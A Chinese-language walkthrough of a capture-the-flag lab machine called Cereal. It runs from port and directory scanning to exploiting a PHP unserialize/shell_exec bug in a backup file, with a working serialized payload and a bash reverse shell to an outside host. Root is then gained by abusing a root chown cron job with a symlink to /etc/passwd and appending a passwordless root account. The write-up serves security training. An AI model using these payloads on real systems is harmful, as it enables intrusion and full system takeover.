前言
这是打靶训练的第24周,难度高,靶机下载 。
信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 (())
139/tcp open tcpwrapped
445/tcp open tcpwrapped
3306/tcp open mysql?
11111/tcp open tcpwrapped
22222/tcp open tcpwrapped
22223/tcp open tcpwrapped
33333/tcp open tcpwrapped
33334/tcp open tcpwrapped
44441/tcp open http Apache httpd 2.4.37 (())
44444/tcp open tcpwrapped
55551/tcp open tcpwrapped
55555/tcp open tcpwrapped
看到139还有445端口,我就觉得不对劲,一般linux不开这些端口。试了试22端口可以匿名登录,但没有利用点。80和44441都是http
先到80端口看看
apache默认页面,继续使用dirsearch进行目录扫描
[17:22:37] 301 - 234B - /admin -> http://10.16.122.36/admin/
[17:22:38] 200 - 2KB - /admin/
[17:22:38] 403 - 199B - /admin/.htaccess
[17:22:38] 200 - 2KB - /admin/?/login
[17:22:38] 200 - 2KB - /admin/index.php
[17:22:51] 301 - 233B - /blog -> http://10.16.122.36/blog/
[17:22:52] 403 - 199B - /cgi-bin/
[17:22:56] 200 - 8KB - /blog/wp-login.php
[17:22:56] 200 - 8KB - /blog/
[17:23:21] 200 - 75KB - /phpinfo.php
admin
页面尝试了一波弱口令未果,来到blog
界面
提示在http://cereal.ctf
存在备份文件,先记下来。这个网站明显使用wordpress框架,使用wpscan
扫一波
没发现备份文件,没发现插件漏洞。那就将cereal.ctf
和ip绑定好后,访问http://cereal.ctf/blog
发现界面和使用ip访问是一样的。dirsearch的扫描结果也和ip访问一样的。
访问前面的http://cereal.ctf:44441/
端口看看
Coming soon…没有了,啥也没有了。目前可以利用的点就只有爆破后台了。但又提示cereal.ctf
存在备份文件,那这个备份文件在哪里呢。而且为啥要非得绑定一个域名,难道存在子域名嘛。
使用gobuster进行子域名爆破gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt
反序列化
存在二级域secure.cereal.ctf:44441
,访问
输入8.8.8.8,能成功执行ping命令
尝试8.8.8.8;id
,8.8.8.8|whoami
,等等都不行,先抓包看看啥情况
看到这个我就想起来反序列化,虽然我不会,暂时放一边吧
换一种爆破工具,dirbuster,按下图配置
稍等片刻出了结果,有一个叫back_en
的目录,虽然是403
接着爆破back_en
目录
经过漫长的搜集,终于找到了备份文件http://secure.cereal.ctf:44441/back_en/index.php.bak
打开看,下面是关键代码
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
function validate() {
if (!$this->isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
$this->isValid = True;
}
}
$this->ping();
}
public function ping()
{
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();
可看到判断isValid
是否为真,如果为真就执行ping -c 3 ip地址
,并且ip地址是没有经过任何过滤的
构造如下poc
<?php
class pingTest{
public $ipAddress = "127.0.0.1;whoami";
public $isValid = True;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
?>
执行后得到下面内容O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A16%3A%22127.0.0.1%3Bwhoami%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将上面内容替换进obj后,得到用户名为apache
命令成功执行,随后构造了一个public $ipAddress = "127.0.0.1;bash -i >& /dev/tcp/10.16.122.31/4444 0>&1";
,反弹了一个shell
提权
因为没找到任何可以提权的方法,这里使用pspy,它的作用是可以非root用户下,实时监控所有新创建的进程,包括root权限的进程。
经过7分钟左右的等待,发现执行了/usr/share/scripts/chown.sh
脚本,内容如下
chown rocky:apache /home/rocky/public_html/*
它将/home/rocky/public_html/*
权限改为了rocky:apache
。那我们可以使用软连接进行提权,操作如下
cd /home/rocky/public_html
ln -sf /etc/passwd ./passwd # 连接到/etc/passwd
软连接的意思就是相当于windows的快捷方式,即访问passwd
相当于访问/etc/passwd
等待几分钟后,自动执行完chown rocky:apache /home/rocky/public_html/*
命令,/etc/passwd
已经拥有写权限了
echo "lion::0:0:root:/root:/bin/bash" >> /etc/passwd
写入后,su - lion
提权成功
本次难度我认为是极高的,并且非常接近实战